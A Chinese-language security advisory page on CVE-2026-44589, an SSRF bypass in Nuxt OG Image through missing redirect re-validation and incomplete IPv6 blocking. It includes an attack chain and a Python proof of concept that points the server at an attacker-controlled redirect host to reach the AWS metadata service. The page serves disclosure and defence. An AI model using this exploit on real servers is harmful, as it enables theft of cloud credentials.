IPBUF安全漏洞报告
English
CVE-2026-44589 CVSS 3.7 低危

CVE-2026-44589 Nuxt OG Image SSRF防护绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-44589
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nuxt OG Image

相关标签

SSRFNuxtCVE-2026-44589OG ImageBypassIPv6

漏洞概述

Nuxt OG Image组件在处理OG图像生成请求时存在安全绕过漏洞。此前为修复SSRF问题(GHSA-pqhr-mp3f-hrpp)而引入的isBlockedUrl()黑名单机制实现不完整。该黑名单不仅遗漏了部分IPv6前缀,导致内网IPv6地址可被访问,还缺少对重定向的重新验证。攻击者可利用这些缺陷绕过安全检查,诱导服务器向内网敏感资源发起请求。

技术细节

漏洞核心在于isBlockedUrl()函数的防御逻辑存在盲区。首先,IPv6前缀列表不完整,允许攻击者使用未被拦截的IPv6格式(如简写形式或特定前缀)指向本地回环地址或链路本地地址。其次,系统未在重定向发生后重新校验目标URL。攻击者可构造指向外部可控域名的URL,该域名通过HTTP 302重定向指向内网敏感地址(如http://169.254.169.254/latest/meta-data/)。由于仅验证初始URL,服务器会跟随重定向请求内网资源,导致SSRF攻击得手。此漏洞无需认证且无用户交互即可利用。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用了Nuxt OG Image组件,并确认其版本在受影响范围内(>=6.2.5, <6.4.9)。
STEP 2
准备环境
攻击者搭建一个恶意的外部服务器,配置该服务器对特定路径的请求返回302重定向响应,将流量引向内网敏感地址(如AWS元数据服务)。
STEP 3
构造Payload
攻击者构造指向恶意外部服务器的URL作为Payload。由于该URL是公网地址,能够通过初始的isBlockedUrl()检查。
STEP 4
发送请求
攻击者向目标Nuxt应用发送包含恶意URL的OG图像生成请求。
STEP 5
利用漏洞
目标服务器验证Payload URL通过后,发起HTTP请求。恶意服务器响应302重定向,目标服务器自动跟随重定向向内网地址发起请求。由于缺少重定向后的二次校验,请求成功到达内网资源。
STEP 6
数据回传
内网资源的响应内容(如云平台密钥)被Nuxt服务器获取,并渲染进生成的图片中返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-44589 (SSRF Bypass via Redirect) This script simulates an attacker exploiting the missing redirect re-validation. """ import requests def exploit_ssrf(target_url, malicious_redirect_server): # The vulnerable endpoint expects a URL parameter for the OG image generation # Instead of a direct internal IP, we use an external domain that redirects payload_url = f"{malicious_redirect_server}/redirect_to_metadata" params = { "url": payload_url } try: print(f"[*] Sending request to {target_url} with payload: {payload_url}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful. Check if the image contains internal metadata.") # In a real scenario, analyze the image binary for leaked data else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable target target = "http://localhost:3000/__og-image__/image" # Attacker's server that returns 302 to http://169.254.169.254/latest/meta-data/ redirect_server = "http://attacker-controlled.com" exploit_ssrf(target, redirect_server)

影响范围

nuxt-og-image >= 6.2.5, < 6.4.9

防御指南

临时缓解措施
如果无法立即升级,建议在应用层或网络层实施严格的出站流量过滤。利用WAF(Web应用防火墙)规则拦截包含内网IP段(包括IPv6本地地址)的请求参数,并限制服务器仅能访问业务必需的外部白名单域名。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表